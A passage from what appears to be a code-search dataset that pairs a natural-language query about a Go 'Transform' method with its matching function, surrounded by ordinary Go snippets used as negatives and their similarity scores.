im.Disposal[index] {\\n\\t\\tcase gif.DisposalBackground:\\n\\t\\t\\t// I'm just assuming that the gif package will apply the appropriate\\n\\t\\t\\t// background here, since there doesn't seem to be an easy way to\\n\\t\\t\\t// access the global color table\\n\\t\\t\\timg = image.NewRGBA(b)\\n\\t\\tcase gif.DisposalPrevious:\\n\\t\\t\\timg = previous\\n\\t\\t}\\n\\t}\\n\\n\\t// Set image.Config to new height and width\\n\\tim.Config.Width = im.Image[0].Bounds().Max.X\\n\\tim.Config.Height = im.Image[0].Bounds().Max.Y\\n\\n\\treturn gif.EncodeAll(w, im)\\n}\",\n \"func (action *provisionLogsAction) Process() error {\\n\\treturn nil\\n}\",\n \"func (fn *rekeyByAggregationIDFn) ProcessElement(ctx context.Context, id string, encryptedKeyIter func(**pb.ElGamalCiphertext) bool, partialReportIter func(**pb.PartialReport) bool, emitIDKey func(string, IDKeyShare), emitAggData func(AggData)) error {\\n\\tvar exponentiatedKey *pb.ElGamalCiphertext\\n\\tif !encryptedKeyIter(&exponentiatedKey) {\\n\\t\\treturn fmt.Errorf(\\\"no matched exponentiated key\\\")\\n\\t}\\n\\n\\tvar partialReport *pb.PartialReport\\n\\tif !partialReportIter(&partialReport) {\\n\\t\\treturn fmt.Errorf(\\\"no matched partial report\\\")\\n\\t}\\n\\n\\tdecryptedKey, err := elgamalencrypt.Decrypt(exponentiatedKey, fn.ElGamalPrivateKey)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\taggID, err := elgamalencrypt.ExponentiateOnECPointStr(decryptedKey, fn.Secret)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfn.generatedAggIDCounter.Inc(ctx, 1)\\n\\n\\temitIDKey(aggID, IDKeyShare{\\n\\t\\tReportID: id,\\n\\t\\tKeyShare: partialReport.KeyShare,\\n\\t})\\n\\n\\temitAggData(AggData{\\n\\t\\tReportID: id,\\n\\t\\tAggID: aggID,\\n\\t\\tValueShare: int64(partialReport.ValueShare),\\n\\t})\\n\\n\\treturn nil\\n}\",\n \"func Process (config config.Config) cache.Cache {\\n\\tscanner := scanner.Scanner {\\n\\t\\t Config: config,\\n\\t}\\n\\tscripts := scanner.Scan()\\n\\treturn scanner.LoadInCache(scripts)\\n}\",\n \"func ProcessLogEntry(ctx context.Context, e event.Event) error {\\n\\tvar msg MessagePublishedData\\n\\tif err := e.DataAs(&msg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"event.DataAs: %w\\\", err)\\n\\t}\\n\\n\\tlog.Printf(\\\"Log entry data: %s\\\", string(msg.Message.Data)) // Automatically decoded from base64.\\n\\treturn nil\\n}\",\n \"func ProcessLiquid(fi FileInfo) (string, error) {\\n content, err := fi.GetContent()\\n if err != nil {\\n return \\\"\\\", err\\n }\\n\\n doc := NewLiquidDocument(content)\\n context := make(map[interface{}]interface{})\\n return doc.Render(context), nil\\n}\",\n \"func (c *ConfigPolicyNode) Process(m map[string]ctypes.ConfigValue) (*map[string]ctypes.ConfigValue, *ProcessingErrors) {\\n\\tc.mutex.Lock()\\n\\tdefer c.mutex.Unlock()\\n\\tpErrors := NewProcessingErrors()\\n\\t// Loop through each rule and process\\n\\tfor key, rule := range c.rules {\\n\\t\\t// items exists for rule\\n\\t\\tif cv, ok := m[key]; ok {\\n\\t\\t\\t// Validate versus matching data\\n\\t\\t\\te := rule.Validate(cv)\\n\\t\\t\\tif e != nil {\\n\\t\\t\\t\\tpErrors.AddError(e)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\t// If it was required add error\\n\\t\\t\\tif rule.Required() {\\n\\t\\t\\t\\te := fmt.Errorf(\\\"required key missing (%s)\\\", key)\\n\\t\\t\\t\\tpErrors.AddError(e)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\t// If default returns we should add it\\n\\t\\t\\t\\tcv := rule.Default()\\n\\t\\t\\t\\tif cv != nil {\\n\\t\\t\\t\\t\\tm[key] = cv\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tif pErrors.HasErrors() {\\n\\t\\treturn nil, pErrors\\n\\t}\\n\\treturn &m, pErrors\\n}\",\n \"func (f *IPLabelFilter) Process(line []byte, lbs *LabelsBuilder) ([]byte, bool) {\\n\\treturn line, f.filterTy(line, f.ty, lbs)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6384579","0.6335771","0.6234825","0.62329674","0.61934924","0.61463606","0.61079985","0.60678315","0.5908155","0.5799944","0.5793537","0.5787839","0.57403576","0.56640154","0.559973","0.5573707","0.5491097","0.5485287","0.54783034","0.54658824","0.5447603","0.54445404","0.5407017","0.5395348","0.53756","0.5363148","0.53365266","0.53285766","0.5284379","0.52650934","0.526014","0.5248235","0.5242671","0.52131206","0.5200689","0.5185722","0.51783746","0.51724714","0.5157589","0.51442504","0.5140436","0.51401937","0.511819","0.5115752","0.5098552","0.50766176","0.506551","0.50618565","0.5059713","0.50559616","0.50258076","0.5015439","0.50057304","0.50056267","0.5003587","0.5001995","0.49954867","0.49907985","0.49780977","0.49725217","0.49664414","0.49613795","0.4959672","0.4959505","0.49487707","0.49472553","0.49279517","0.4921589","0.49132472","0.49092373","0.49086177","0.49067712","0.4901788","0.49011013","0.4898877","0.48915422","0.4889966","0.48889178","0.48716918","0.48616022","0.48611397","0.48560032","0.4851316","0.48510557","0.4849863","0.4848148","0.48389274","0.4834381","0.48254493","0.48234114","0.480933","0.4797101","0.47918317","0.47887743","0.47841275","0.47835708","0.47825214","0.4781556","0.4778552","0.47779435"],"string":"[\n \"0.6384579\",\n \"0.6335771\",\n \"0.6234825\",\n \"0.62329674\",\n \"0.61934924\",\n \"0.61463606\",\n \"0.61079985\",\n \"0.60678315\",\n \"0.5908155\",\n \"0.5799944\",\n \"0.5793537\",\n \"0.5787839\",\n \"0.57403576\",\n \"0.56640154\",\n \"0.559973\",\n \"0.5573707\",\n \"0.5491097\",\n \"0.5485287\",\n \"0.54783034\",\n \"0.54658824\",\n \"0.5447603\",\n \"0.54445404\",\n \"0.5407017\",\n \"0.5395348\",\n \"0.53756\",\n \"0.5363148\",\n \"0.53365266\",\n \"0.53285766\",\n \"0.5284379\",\n \"0.52650934\",\n \"0.526014\",\n \"0.5248235\",\n \"0.5242671\",\n \"0.52131206\",\n \"0.5200689\",\n \"0.5185722\",\n \"0.51783746\",\n \"0.51724714\",\n \"0.5157589\",\n \"0.51442504\",\n \"0.5140436\",\n \"0.51401937\",\n \"0.511819\",\n \"0.5115752\",\n \"0.5098552\",\n \"0.50766176\",\n \"0.506551\",\n \"0.50618565\",\n \"0.5059713\",\n \"0.50559616\",\n \"0.50258076\",\n \"0.5015439\",\n \"0.50057304\",\n \"0.50056267\",\n \"0.5003587\",\n \"0.5001995\",\n \"0.49954867\",\n \"0.49907985\",\n \"0.49780977\",\n \"0.49725217\",\n \"0.49664414\",\n \"0.49613795\",\n \"0.4959672\",\n \"0.4959505\",\n \"0.49487707\",\n \"0.49472553\",\n \"0.49279517\",\n \"0.4921589\",\n \"0.49132472\",\n \"0.49092373\",\n \"0.49086177\",\n \"0.49067712\",\n \"0.4901788\",\n \"0.49011013\",\n \"0.4898877\",\n \"0.48915422\",\n \"0.4889966\",\n \"0.48889178\",\n \"0.48716918\",\n \"0.48616022\",\n \"0.48611397\",\n \"0.48560032\",\n \"0.4851316\",\n \"0.48510557\",\n \"0.4849863\",\n \"0.4848148\",\n \"0.48389274\",\n \"0.4834381\",\n \"0.48254493\",\n \"0.48234114\",\n \"0.480933\",\n \"0.4797101\",\n \"0.47918317\",\n \"0.47887743\",\n \"0.47841275\",\n \"0.47835708\",\n \"0.47825214\",\n \"0.4781556\",\n \"0.4778552\",\n \"0.47779435\"\n]"},"document_score":{"kind":"string","value":"0.83969265"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106161,"cells":{"query":{"kind":"string","value":"Transform will apply the restructure operations to an entry"},"document":{"kind":"string","value":"func (p *RestructureOperator) Transform(entry *entry.Entry) error {\n\tfor _, op := range p.ops {\n\t\terr := op.Apply(entry)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (p *RestructureOperator) Process(ctx context.Context, entry *entry.Entry) error {\n\treturn p.ProcessWith(ctx, entry, p.Transform)\n}","func (a anchoreClient) transform(fromType interface{}, toType interface{}) error {\n\tif err := mapstructure.Decode(fromType, toType); err != nil {\n\t\treturn errors.WrapIf(err, \"failed to unmarshal to 'toType' type\")\n\t}\n\n\treturn nil\n}","func transform(c *gin.Context, data interface{}) interface{} {\n\tswitch reflect.TypeOf(data) {\n\t// Multiple\n\tcase reflect.TypeOf([]*models.Event{}):\n\t\treturn TransformEvents(c, data.([]*models.Event))\n\tcase reflect.TypeOf([]*models.Ticket{}):\n\t\treturn TransformTickets(c, data.([]*models.Ticket))\n\tcase reflect.TypeOf([]*models.Question{}):\n\t\treturn TransformQuestions(c, data.([]*models.Question))\n\tcase reflect.TypeOf([]*models.Attribute{}):\n\t\treturn TransformAttributes(c, data.([]*models.Attribute))\n\n\t\t// Single\n\tcase reflect.TypeOf(&models.Event{}):\n\t\treturn TransformEvent(c, data.(*models.Event))\n\tcase reflect.TypeOf(&models.Ticket{}):\n\t\treturn TransformTicket(c, data.(*models.Ticket))\n\tcase reflect.TypeOf(&models.Question{}):\n\t\treturn TransformQuestion(c, data.(*models.Question))\n\t}\n\n\treturn data\n}","func pipelineTransform(arg *interface{}, container **[]interface{}) {\n\tswitch value := (*arg).(type) {\n\tcase []interface{}:\n\t\t*container = &value\n\tcase interface{}:\n\t\t*container = &[]interface{}{value}\n\tdefault:\n\t\t**container = nil\n\t}\n}","func (s *StyleBuilder) Transform(transform func(StyleEntry) StyleEntry) *StyleBuilder {\n\ttypes := make(map[TokenType]struct{})\n\tfor tt := range s.entries {\n\t\ttypes[tt] = struct{}{}\n\t}\n\tif s.parent != nil {\n\t\tfor _, tt := range s.parent.Types() {\n\t\t\ttypes[tt] = struct{}{}\n\t\t}\n\t}\n\tfor tt := range types {\n\t\ts.AddEntry(tt, transform(s.Get(tt)))\n\t}\n\treturn s\n}","func (h *CustomerHandler) Transform(id string, v interface{}) (interface{}, error) {\n\t// // We could convert the customer to a type with a different JSON marshaler,\n\t// // or perhaps return a res.ErrNotFound if a deleted flag is set.\n\t// return CustomerWithDifferentJSONMarshaler(v.(Customer)), nil\n\treturn v, nil\n}","func (c *Patch) applyTransforms(input interface{}) (interface{}, error) {\n\tvar err error\n\tfor i, t := range c.Transforms {\n\t\tif input, err = t.Transform(input); err != nil {\n\t\t\treturn nil, errors.Wrapf(err, errFmtTransformAtIndex, i)\n\t\t}\n\t}\n\treturn input, nil\n}","func (g *GiteaASTTransformer) Transform(node *ast.Document, reader text.Reader, pc parser.Context) {\n\t_ = ast.Walk(node, func(n ast.Node, entering bool) (ast.WalkStatus, error) {\n\t\tif !entering {\n\t\t\treturn ast.WalkContinue, nil\n\t\t}\n\n\t\tswitch v := n.(type) {\n\t\tcase *ast.Image:\n\t\t\t// Images need two things:\n\t\t\t//\n\t\t\t// 1. Their src needs to munged to be a real value\n\t\t\t// 2. If they're not wrapped with a link they need a link wrapper\n\n\t\t\t// Check if the destination is a real link\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) {\n\t\t\t\tprefix := pc.Get(urlPrefixKey).(string)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tprefix = giteautil.URLJoin(prefix, \"wiki\", \"raw\")\n\t\t\t\t}\n\t\t\t\tprefix = strings.Replace(prefix, \"/src/\", \"/media/\", 1)\n\n\t\t\t\tlnk := string(link)\n\t\t\t\tlnk = giteautil.URLJoin(prefix, lnk)\n\t\t\t\tlnk = strings.Replace(lnk, \" \", \"+\", -1)\n\t\t\t\tlink = []byte(lnk)\n\t\t\t}\n\t\t\tv.Destination = link\n\n\t\t\tparent := n.Parent()\n\t\t\t// Create a link around image only if parent is not already a link\n\t\t\tif _, ok := parent.(*ast.Link); !ok && parent != nil {\n\t\t\t\twrap := ast.NewLink()\n\t\t\t\twrap.Destination = link\n\t\t\t\twrap.Title = v.Title\n\t\t\t\tparent.ReplaceChild(parent, n, wrap)\n\t\t\t\twrap.AppendChild(wrap, n)\n\t\t\t}\n\t\tcase *ast.Link:\n\t\t\t// Links need their href to munged to be a real value\n\t\t\tlink := v.Destination\n\t\t\tif len(link) > 0 && !markup.IsLink(link) &&\n\t\t\t\tlink[0] != '#' && !bytes.HasPrefix(link, byteMailto) {\n\t\t\t\t// special case: this is not a link, a hash link or a mailto:, so it's a\n\t\t\t\t// relative URL\n\t\t\t\tlnk := string(link)\n\t\t\t\tif pc.Get(isWikiKey).(bool) {\n\t\t\t\t\tlnk = giteautil.URLJoin(\"wiki\", lnk)\n\t\t\t\t}\n\t\t\t\tlink = []byte(giteautil.URLJoin(pc.Get(urlPrefixKey).(string), lnk))\n\t\t\t}\n\t\t\tif len(link) > 0 && link[0] == '#' {\n\t\t\t\tlink = []byte(\"#user-content-\" + string(link)[1:])\n\t\t\t}\n\t\t\tv.Destination = link\n\t\t}\n\t\treturn ast.WalkContinue, nil\n\t})\n}","func Transform(m string, d R) string {\n\tcleanLines := regexp.MustCompile(\"[\\\\n\\\\r\\\\t]+\")\n\t//KLUDGE: Salsa wants to see supporter.supporter_KEY/supporter.Email\n\t// in the conditions and included fields. However, the data is stored\n\t// simply as \"supporter_KEY\" or \"Email\"...\n\ti := strings.Index(m, \".\")\n\tif i != -1 {\n\t\tm = strings.Split(m, \".\")[1]\n\t}\n\ts, ok := d[m]\n\tif !ok {\n\t\ts = \"\"\n\t}\n\t//Transform fields as needed. This includes making pretty dates,\n\t//setting the Engage transaction type and putting Engage text into\n\t//Receive_Email.\n\tswitch m {\n\tcase \"Contact_Date\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Contact_Due_Date\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Date_Created\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Email\":\n\t\ts = strings.TrimSpace(strings.ToLower(s))\n\tcase \"End\":\n\t\ts = godig.EngageDate(s)\n\tcase \"First_Email_Time\":\n\t\ts = godig.EngageDate(s)\n\tcase \"last_click\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Last_Email_Time\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Last_Modified\":\n\t\ts = godig.EngageDate(s)\n\tcase \"last_open\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Receive_Email\":\n\t\tt := \"Unsubscribed\"\n\t\tx, err := strconv.ParseInt(s, 10, 32)\n\t\tif err == nil && x > 0 {\n\t\t\tt = \"Subscribed\"\n\t\t}\n\t\ts = t\n\tcase \"Start\":\n\t\ts = godig.EngageDate(s)\n\tcase \"State\":\n\t\ts = strings.ToUpper(s)\n\tcase \"Transaction_Date\":\n\t\ts = godig.EngageDate(s)\n\tcase \"Transaction_Type\":\n\t\tif s != \"Recurring\" {\n\t\t\ts = \"OneTime\"\n\t\t}\n\t}\n\t// Convert tabs to spaces. Remove leading/trailing spaces.\n\t// Remove any quotation marks.\n\t// Append the cleaned-up value to the output.\n\ts = strings.Replace(s, \"\\\"\", \"\", -1)\n\ts = cleanLines.ReplaceAllString(s, \" \")\n\ts = strings.TrimSpace(s)\n\treturn s\n}","func (wc *watchChan) transform(e *event) (res *watch.Event) {\n\tcurObj, oldObj, err := wc.prepareObjs(e)\n\tif err != nil {\n\t\tlogrus.Errorf(\"failed to prepare current and previous objects: %v\", err)\n\t\twc.sendError(err)\n\t\treturn nil\n\t}\n\tswitch {\n\tcase e.isProgressNotify:\n\t\tobj := wc.watcher.newFunc()\n\t\t// todo: update object version\n\t\tres = &watch.Event{\n\t\t\tType: watch.Bookmark,\n\t\t\tObject: obj,\n\t\t}\n\tcase e.isDeleted:\n\t\tres = &watch.Event{\n\t\t\tType: watch.Deleted,\n\t\t\tObject: oldObj,\n\t\t}\n\tcase e.isCreated:\n\t\tres = &watch.Event{\n\t\t\tType: watch.Added,\n\t\t\tObject: curObj,\n\t\t}\n\tdefault:\n\t\t// TODO: emit ADDED if the modified object causes it to actually pass the filter but the previous one did not\n\t\tres = &watch.Event{\n\t\t\tType: watch.Modified,\n\t\t\tObject: curObj,\n\t\t}\n\t}\n\treturn res\n}","func (s *Stream) Transform(op api.UnOperation) *Stream {\n\toperator := unary.New(s.ctx)\n\toperator.SetOperation(op)\n\ts.ops = append(s.ops, operator)\n\treturn s\n}","func Transformation(r io.Reader) (transform.Transformation, error) {\n\tvar t transform.Transformation\n\tscanner := bufio.NewScanner(r)\n\tfor scanner.Scan() {\n\t\tname, args, err := split(scanner.Text())\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tvar nt transform.Transformation\n\t\tswitch name {\n\t\tcase \"NoTransformation\":\n\t\t\tnt, err = noTransformation(args)\n\t\tcase \"LineReflection\":\n\t\t\tnt, err = lineReflection(args)\n\t\tcase \"Translation\":\n\t\t\tnt, err = translation(args)\n\t\tcase \"Rotation\":\n\t\t\tnt, err = rotation(args)\n\t\tcase \"GlideReflection\":\n\t\t\tnt, err = glideReflection(args)\n\t\t}\n\t\tif nt == nil {\n\t\t\treturn nil, ErrBadTransformation\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tt = transform.Compose(t, nt)\n\t}\n\tif scanner.Err() != nil {\n\t\treturn nil, scanner.Err()\n\t}\n\treturn t, nil\n}","func (s *fseDecoder) transform(t []baseOffset) error {\n\ttableSize := uint16(1 << s.actualTableLog)\n\ts.maxBits = 0\n\tfor i, v := range s.dt[:tableSize] {\n\t\tadd := v.addBits()\n\t\tif int(add) >= len(t) {\n\t\t\treturn fmt.Errorf(\"invalid decoding table entry %d, symbol %d >= max (%d)\", i, v.addBits(), len(t))\n\t\t}\n\t\tlu := t[add]\n\t\tif lu.addBits > s.maxBits {\n\t\t\ts.maxBits = lu.addBits\n\t\t}\n\t\tv.setExt(lu.addBits, lu.baseLine)\n\t\ts.dt[i] = v\n\t}\n\treturn nil\n}","func (r *Repository) Transform(from, to int) Func {\n\treturn Transform(r.Code(from), r.Code(to))\n}","func ApplyTransform(s beam.Scope, input beam.PCollection) beam.PCollection {\n\treturn beam.ParDo(s, func(element Commit) (beam.EventTime, Commit) {\n\t\treturn mtime.FromTime(element.Datetime), element\n\t}, input)\n}","func (t *GolangDockerfileGenerator) Transform(newArtifacts []transformertypes.Artifact, oldArtifacts []transformertypes.Artifact) ([]transformertypes.PathMapping, []transformertypes.Artifact, error) {\n\tpathMappings := []transformertypes.PathMapping{}\n\tartifactsCreated := []transformertypes.Artifact{}\n\tfor _, a := range newArtifacts {\n\t\tif a.Artifact != artifacts.ServiceArtifactType {\n\t\t\tcontinue\n\t\t}\n\t\trelSrcPath, err := filepath.Rel(t.Env.GetEnvironmentSource(), a.Paths[artifacts.ProjectPathPathType][0])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to convert source path %s to be relative : %s\", a.Paths[artifacts.ProjectPathPathType][0], err)\n\t\t}\n\t\tvar sConfig artifacts.ServiceConfig\n\t\terr = a.GetConfig(artifacts.ServiceConfigType, &sConfig)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"unable to load config for Transformer into %T : %s\", sConfig, err)\n\t\t\tcontinue\n\t\t}\n\t\tsImageName := artifacts.ImageName{}\n\t\terr = a.GetConfig(artifacts.ImageNameConfigType, &sImageName)\n\t\tif err != nil {\n\t\t\tlogrus.Debugf(\"unable to load config for Transformer into %T : %s\", sImageName, err)\n\t\t}\n\t\tdata, err := ioutil.ReadFile(a.Paths[GolangModFilePathType][0])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Error while reading the go.mod file : %s\", err)\n\t\t\treturn nil, nil, nil\n\t\t}\n\t\tmodFile, err := modfile.Parse(a.Paths[GolangModFilePathType][0], data, nil)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Error while parsing the go.mod file : %s\", err)\n\t\t\treturn nil, nil, nil\n\t\t}\n\t\tif modFile.Go == nil {\n\t\t\tlogrus.Debugf(\"Didn't find the Go version in the go.mod file at path %s, selecting Go version %s\", a.Paths[GolangModFilePathType][0], t.GolangConfig.DefaultGoVersion)\n\t\t\tmodFile.Go.Version = t.GolangConfig.DefaultGoVersion\n\t\t}\n\t\tvar detectedPorts []int32\n\t\tdetectedPorts = append(detectedPorts, 8080) //TODO: Write parser to parse and identify port\n\t\tdetectedPorts = commonqa.GetPortsForService(detectedPorts, a.Name)\n\t\tvar golangConfig GolangTemplateConfig\n\t\tgolangConfig.AppName = a.Name\n\t\tgolangConfig.Ports = detectedPorts\n\t\tgolangConfig.GoVersion = modFile.Go.Version\n\n\t\tif sImageName.ImageName == \"\" {\n\t\t\tsImageName.ImageName = common.MakeStringContainerImageNameCompliant(sConfig.ServiceName)\n\t\t}\n\t\tpathMappings = append(pathMappings, transformertypes.PathMapping{\n\t\t\tType: transformertypes.SourcePathMappingType,\n\t\t\tDestPath: common.DefaultSourceDir,\n\t\t}, transformertypes.PathMapping{\n\t\t\tType: transformertypes.TemplatePathMappingType,\n\t\t\tSrcPath: filepath.Join(t.Env.Context, t.Config.Spec.TemplatesDir),\n\t\t\tDestPath: filepath.Join(common.DefaultSourceDir, relSrcPath),\n\t\t\tTemplateConfig: golangConfig,\n\t\t})\n\t\tpaths := a.Paths\n\t\tpaths[artifacts.DockerfilePathType] = []string{filepath.Join(common.DefaultSourceDir, relSrcPath, \"Dockerfile\")}\n\t\tp := transformertypes.Artifact{\n\t\t\tName: sImageName.ImageName,\n\t\t\tArtifact: artifacts.DockerfileArtifactType,\n\t\t\tPaths: paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t},\n\t\t}\n\t\tdfs := transformertypes.Artifact{\n\t\t\tName: sConfig.ServiceName,\n\t\t\tArtifact: artifacts.DockerfileForServiceArtifactType,\n\t\t\tPaths: a.Paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t\tartifacts.ServiceConfigType: sConfig,\n\t\t\t},\n\t\t}\n\t\tartifactsCreated = append(artifactsCreated, p, dfs)\n\t}\n\treturn pathMappings, artifactsCreated, nil\n}","func (t *JarAnalyser) Transform(newArtifacts []transformertypes.Artifact, oldArtifacts []transformertypes.Artifact) ([]transformertypes.PathMapping, []transformertypes.Artifact, error) {\n\tpathMappings := []transformertypes.PathMapping{}\n\tcreatedArtifacts := []transformertypes.Artifact{}\n\tfor _, a := range newArtifacts {\n\t\tvar sConfig artifacts.ServiceConfig\n\t\terr := a.GetConfig(artifacts.ServiceConfigType, &sConfig)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"unable to load config for Transformer into %T : %s\", sConfig, err)\n\t\t\tcontinue\n\t\t}\n\t\tsImageName := artifacts.ImageName{}\n\t\terr = a.GetConfig(artifacts.ImageNameConfigType, &sImageName)\n\t\tif err != nil {\n\t\t\tlogrus.Debugf(\"unable to load config for Transformer into %T : %s\", sImageName, err)\n\t\t}\n\t\trelSrcPath, err := filepath.Rel(t.Env.GetEnvironmentSource(), a.Paths[artifacts.ProjectPathPathType][0])\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to convert source path %s to be relative : %s\", a.Paths[artifacts.ProjectPathPathType][0], err)\n\t\t}\n\t\tjarRunDockerfile, err := ioutil.ReadFile(filepath.Join(t.Env.GetEnvironmentContext(), t.Env.RelTemplatesDir, \"Dockerfile.embedded\"))\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to read Dockerfile embedded template : %s\", err)\n\t\t}\n\t\tdockerfileBuildDockerfile := a.Paths[artifacts.BuildContainerFileType][0]\n\t\tbuildDockerfile, err := ioutil.ReadFile(dockerfileBuildDockerfile)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to read build Dockerfile template : %s\", err)\n\t\t}\n\t\ttempDir := filepath.Join(t.Env.TempPath, a.Name)\n\t\tos.MkdirAll(tempDir, common.DefaultDirectoryPermission)\n\t\tdockerfileTemplate := filepath.Join(tempDir, \"Dockerfile\")\n\t\ttemplate := string(buildDockerfile) + \"\\n\" + string(jarRunDockerfile)\n\t\terr = ioutil.WriteFile(dockerfileTemplate, []byte(template), common.DefaultFilePermission)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Could not write the generated Build Dockerfile template: %s\", err)\n\t\t}\n\t\tjarArtifactConfig := artifacts.JarArtifactConfig{}\n\t\terr = a.GetConfig(artifacts.JarConfigType, &jarArtifactConfig)\n\t\tif err != nil {\n\t\t\tlogrus.Debugf(\"unable to load config for Transformer into %T : %s\", jarArtifactConfig, err)\n\t\t}\n\t\tif jarArtifactConfig.JavaVersion == \"\" {\n\t\t\tjarArtifactConfig.JavaVersion = t.JarConfig.JavaVersion\n\t\t}\n\t\tjavaPackage, err := getJavaPackage(filepath.Join(t.Env.GetEnvironmentContext(), \"mappings/javapackageversions.yaml\"), jarArtifactConfig.JavaVersion)\n\t\tif err != nil {\n\t\t\tlogrus.Errorf(\"Unable to find mapping version for java version %s : %s\", jarArtifactConfig.JavaVersion, err)\n\t\t\tjavaPackage = \"java-1.8.0-openjdk-devel\"\n\t\t}\n\t\tpathMappings = append(pathMappings, transformertypes.PathMapping{\n\t\t\tType: transformertypes.SourcePathMappingType,\n\t\t\tDestPath: common.DefaultSourceDir,\n\t\t}, transformertypes.PathMapping{\n\t\t\tType: transformertypes.TemplatePathMappingType,\n\t\t\tSrcPath: dockerfileTemplate,\n\t\t\tDestPath: filepath.Join(common.DefaultSourceDir, relSrcPath),\n\t\t\tTemplateConfig: JarDockerfileTemplate{\n\t\t\t\tJavaVersion: jarArtifactConfig.JavaVersion,\n\t\t\t\tJavaPackageName: javaPackage,\n\t\t\t\tDeploymentFile: jarArtifactConfig.DeploymentFile,\n\t\t\t\tDeploymentFileDir: jarArtifactConfig.DeploymentFileDir,\n\t\t\t\tPort: \"8080\",\n\t\t\t\tPortConfigureEnvName: \"SERVER_PORT\",\n\t\t\t\tEnvVariables: jarArtifactConfig.EnvVariables,\n\t\t\t},\n\t\t})\n\t\tpaths := a.Paths\n\t\tpaths[artifacts.DockerfilePathType] = []string{filepath.Join(common.DefaultSourceDir, relSrcPath, \"Dockerfile\")}\n\t\tp := transformertypes.Artifact{\n\t\t\tName: sImageName.ImageName,\n\t\t\tArtifact: artifacts.DockerfileArtifactType,\n\t\t\tPaths: paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t},\n\t\t}\n\t\tdfs := transformertypes.Artifact{\n\t\t\tName: sConfig.ServiceName,\n\t\t\tArtifact: artifacts.DockerfileForServiceArtifactType,\n\t\t\tPaths: a.Paths,\n\t\t\tConfigs: map[string]interface{}{\n\t\t\t\tartifacts.ImageNameConfigType: sImageName,\n\t\t\t\tartifacts.ServiceConfigType: sConfig,\n\t\t\t},\n\t\t}\n\t\tcreatedArtifacts = append(createdArtifacts, p, dfs)\n\t}\n\treturn pathMappings, createdArtifacts, nil\n}","func (coll *FeatureCollection) Transform(t Transformer) {\n\tfor _, feat := range *coll {\n\t\tfeat.Transform(t)\n\t}\n}","func (e *With32FieldsFeatureTransformer) TransformInplace(dst []float64, s *With32Fields) {\n\tif s == nil || e == nil || len(dst) != e.NumFeatures() {\n\t\treturn\n\t}\n\tidx := 0\n\n\tdst[idx] = e.Name1.Transform(float64(s.Name1))\n\tidx++\n\n\tdst[idx] = e.Name2.Transform(float64(s.Name2))\n\tidx++\n\n\tdst[idx] = e.Name3.Transform(float64(s.Name3))\n\tidx++\n\n\tdst[idx] = e.Name4.Transform(float64(s.Name4))\n\tidx++\n\n\tdst[idx] = e.Name5.Transform(float64(s.Name5))\n\tidx++\n\n\tdst[idx] = e.Name6.Transform(float64(s.Name6))\n\tidx++\n\n\tdst[idx] = e.Name7.Transform(float64(s.Name7))\n\tidx++\n\n\tdst[idx] = e.Name8.Transform(float64(s.Name8))\n\tidx++\n\n\tdst[idx] = e.Name9.Transform(float64(s.Name9))\n\tidx++\n\n\tdst[idx] = e.Name10.Transform(float64(s.Name10))\n\tidx++\n\n\tdst[idx] = e.Name11.Transform(float64(s.Name11))\n\tidx++\n\n\tdst[idx] = e.Name12.Transform(float64(s.Name12))\n\tidx++\n\n\tdst[idx] = e.Name13.Transform(float64(s.Name13))\n\tidx++\n\n\tdst[idx] = e.Name14.Transform(float64(s.Name14))\n\tidx++\n\n\tdst[idx] = e.Name15.Transform(float64(s.Name15))\n\tidx++\n\n\tdst[idx] = e.Name16.Transform(float64(s.Name16))\n\tidx++\n\n\tdst[idx] = e.Name17.Transform(float64(s.Name17))\n\tidx++\n\n\tdst[idx] = e.Name18.Transform(float64(s.Name18))\n\tidx++\n\n\tdst[idx] = e.Name19.Transform(float64(s.Name19))\n\tidx++\n\n\tdst[idx] = e.Name21.Transform(float64(s.Name21))\n\tidx++\n\n\tdst[idx] = e.Name22.Transform(float64(s.Name22))\n\tidx++\n\n\tdst[idx] = e.Name23.Transform(float64(s.Name23))\n\tidx++\n\n\tdst[idx] = e.Name24.Transform(float64(s.Name24))\n\tidx++\n\n\tdst[idx] = e.Name25.Transform(float64(s.Name25))\n\tidx++\n\n\tdst[idx] = 